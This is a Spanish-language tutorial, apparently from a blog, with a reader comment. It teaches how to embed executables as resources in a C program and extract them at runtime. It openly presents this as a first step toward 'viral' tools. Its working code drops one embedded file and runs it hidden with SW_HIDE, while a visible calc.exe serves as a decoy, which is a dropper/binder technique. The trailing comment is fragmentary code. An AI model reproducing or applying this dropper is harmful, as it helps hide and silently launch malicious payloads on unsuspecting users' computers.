Bueno antes de empezar a codear nuestras herramientas víricas o no víricas es necesario saber como portar recursos a nuestra aplicación, para que nos sirve?, principalmente nos va servir para dos cosas:
Ejecutar un segundo programa al ejecutar nuestra aplicación sin que nadie lo note.
Portar herramientas útiles o recursos dentro de nuestro programa.
Bueno eso fue suficiente de teoría ahora manos a la obra.
Lo primero será crear un nuevo proyecto de consola en Dev C++
Nos vamos a:
File — New — Resource File
Y nos creara un archivo.rc, ahora procedemos a escribir los archivos que necesitemos utilizar.
En el ejemplo introduciremos dentro de nuestro programa dos exe
binario RT_RCDATA “1.exe”
binario2 RT_RCDATA “calc.exe”

void extraer1(){
HANDLE hbinario2; //handle del recurso
HRSRC hbinario; // variable del recurso
void* data; //recurso
hbinario = FindResource( NULL, "binario", "RT_RCDATA" ); //buscamos recurso
hbinario2 = LoadResource( NULL, hbinario ); // cargamos recurso
data = LockResource( hbinario2 ); // fijamos recurso para usarlo
DWORD size = SizeofResource(0, hbinario); // medimos el tamaño del recurso
FILE* f = fopen("1.exe","wb"); //creamos el archivo donde copiarlo
fwrite(data, size, 1, f); // escribimos en el archivo el buffer del recurso
fclose(f); // cerramos el arhivo
WinExec("1.exe", SW_HIDE); //lo ejecutamos en modo oculto
FreeResource( hbinario ); // liberamos recurso
}
void extraer2(){
HANDLE hbinario2; //handle del recurso
HRSRC hbinario; // variable del recurso
void* data; //recurso
hbinario = FindResource( NULL, "binario2", "RT_RCDATA" ); //buscamos recurso
hbinario2 = LoadResource( NULL, hbinario ); // cargamos recurso
data = LockResource( hbinario2 ); // fijamos recurso para usarlo
DWORD size = SizeofResource(0, hbinario); // medimos el tamaño del recurso
FILE* f = fopen("calc.exe","wb"); //creamos el archivo donde copiarlo
fwrite(data, size, 1, f); // escribimos en el archivo el buffer del recurso
fclose(f); // cerramos el arhivo
WinExec("calc.exe", SW_SHOWNORMAL); //lo ejecutamos normalmente
FreeResource( hbinario ); // liberamos recurso
}
int main(int argc, char *argv[])
{
extraer1(); // ejecutamos 1.exe [OCULTO]
extraer2(); // ejecutamos calc.exe [NORMAL]
}
Bien ahora ya sabes como incluir otros binarios dentro de tu aplicacion y como sacarles provecho.
El codigo puede mejorarce mucho añadiendo comprobaciones en cada etapa para evitar errores.
Esta podria considerarce una buena forma de incluir multiples archivos sin requerir de un joiner o blinder
muy bueno excelente diria yo mira despues de algo más de 13 años estoy desempolvando esto del lenguaje C me tope con esto del DEV-C++ y el WXDEV jamas me gusto los lenguajes Visual de Micro$oft.
#include
#include
#
*/
void extraer1();
void extraer2();
///solo faltaba por aca ///declarar prototipo de funciones y corre el programa en dev-c++ en si para c no hay limites ni barreras todo corre
using namespace std;
Editado…